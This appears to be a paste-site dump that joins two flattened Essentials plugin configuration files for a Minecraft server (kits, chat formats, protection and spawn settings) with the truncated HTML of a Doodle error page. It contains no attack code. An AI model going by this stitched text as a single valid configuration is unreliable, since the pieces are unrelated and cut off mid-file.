this entitytarget: false # Prevent the spawning of creatures spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: false bat: false witch: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Protect various blocks. protect: # Protect all signs signs: false # Prevent users from destroying rails rails: false # Blocks below rails/signs are also protected if the respective rail/sign is protected. # This makes it more difficult to circumvent protection, and should be enabled. # This only has an effect if "rails" or "signs" is also enabled. block-below: true # Prevent placing blocks above protected rails, this is to stop a potential griefing prevent-block-on-rails: false # Store blocks / signs in memory before writing memstore: false # Disable various default physics and behaviors disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build # Set true to disable building for those people # Setting to false means EssentialsAntiBuild will never prevent you from building build: true # Should people with build: false in permissions be allowed to use items # Set true to disable using for those people # Setting to false means EssentialsAntiBuild will never prevent you from using use: true # Should we tell people they are not allowed to build warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing placement: 10,11,46,327 # Which items should people be prevented from using usage: 327 # Which blocks should people be prevented from breaking break: # Which blocks should not be pushed by pistons piston: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&dWelcome {DISPLAYNAME}&d to the server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: tools # Set this to lowest, if you want Multiverse to handle the respawning # Set this to high, if you want EssentialsSpawn to handle the respawning # Set this to highest, if you want to force EssentialsSpawn to handle the respawning respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
dallyswag
############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
sireqpetr
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en" xml:lang="en" class=" "> <head> <meta name="robots" content="index, follow" /> <meta name="Mediapartners-Google" content="index, follow" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta http-equiv="cache-control" content="max-age=0" /> <meta http-equiv="expires" content="-1" /> <meta http-equiv="pragma" content="no-cache" /> <meta name="description" content="Doodle radically simplifies the process of scheduling events, meetings, appointments, etc. Herding cats gets 2x faster with Doodle. For free!" /> <meta name="copyright" content="Doodle AG, Switzerland" /> <meta name="application-name" content="Doodle" /> <meta property="fb:admins" content="146060788741700" /> <title>Doodle: Not found </title> <meta property="og:image" content="http://doodle.com/graphics/static/facebookSharingThumbnail.png" /> <meta property="og:type" content="website" /> <meta property="og:url" content="http://doodle.com/" /> <meta property="og:title" content="Doodle: easy scheduling" /> <meta property="og:description" content="Doodle radically simplifies the process of scheduling events, meetings, appointments, etc. Herding cats gets 2x faster with Doodle. For free!" /> <link rel="stylesheet" type="text/css" href="/dist/normal/vendor-styles.47dc4b6d8088a5473d3d.css" /> <link rel="stylesheet" type="text/css" href="/dist/normal/error-errorTemplate.109031a5a727b3259a5c.css" /><style type="text/css" title="premium">body #page { margin-top: 15px}</style> <script src="/dist/normal/jquery.5b4d89fb41622e043ef4.js"></script> <link rel="shortcut icon" type="image/x-icon" href="/dist/normal/i/b44327677e7590e22fb6e598d6d53e2b.ico" /> <link rel="apple-touch-icon" href="/dist/normal/i/650dd6854eeca2499449e1a762978fc2.png" /> <link rel="apple-touch-icon" sizes="72x72" href="/dist/normal/i/15fa798c6b9309ec274f6cae3108f7e2.png" /> <link rel="apple-touch-icon" sizes="114x114" href="/dist/normal/i/82e622019f16c173d9eb6b9ab484fedd.png" /> <meta name="msapplication-TileImage" content="/dist/normal/i/d61d748643bc62b974e798209fc74147.png" /> <meta name="msapplication-TileColor" content="#ffffff" /> <link rel="canonical" href="https://doodle.com/error/notFound.html" /> </head> <body> <noscript> <iframe src="//www.googletagmanager.com/ns.html?id=GTM-CFKQ" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <script type="text/javascript">//<![CDATA[ dataLayer = [{ 'country': 'BR', 'language': 'en', 'adsFree': 'true', 'certificationResource': 'else', 'isMainPage': '', 'creationDevice': '', 'isKISSEnabled': 'yes', 'KISSKey': 'ff0508294d77927c9b0d452b1ecfe4e761b16a91' }]; /*]]> */</script><script type="application/json" id="doodleDataLayerCustomDefinitions">{"environment":{"systemType":"production","systemVersion":"classic"},"page":{"pageType":"other","userLoginState":false,"userType":"free user"},"poll":{},"user":{"userCountry":"BR","userPlanType":"free"}}</script><script type="application/json" id="doodleDataLayerEvents">[]</script><script type="application/json" id="doodleDataLayerCookieDeletions">[]</script><script type="text/javascript">!function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};t.m=e,t.c=n,t.p="/dist/normal/",t(0)}({0:function(e,t,n){n(1255),e.exports=n(1257)},1255:function(e,t,n){"use strict";n(1256)()},1256:function(e,t){"use strict";e.exports=function(){window.dataLayer=window.dataLayer||[];var e=window.dataLayer;try{var 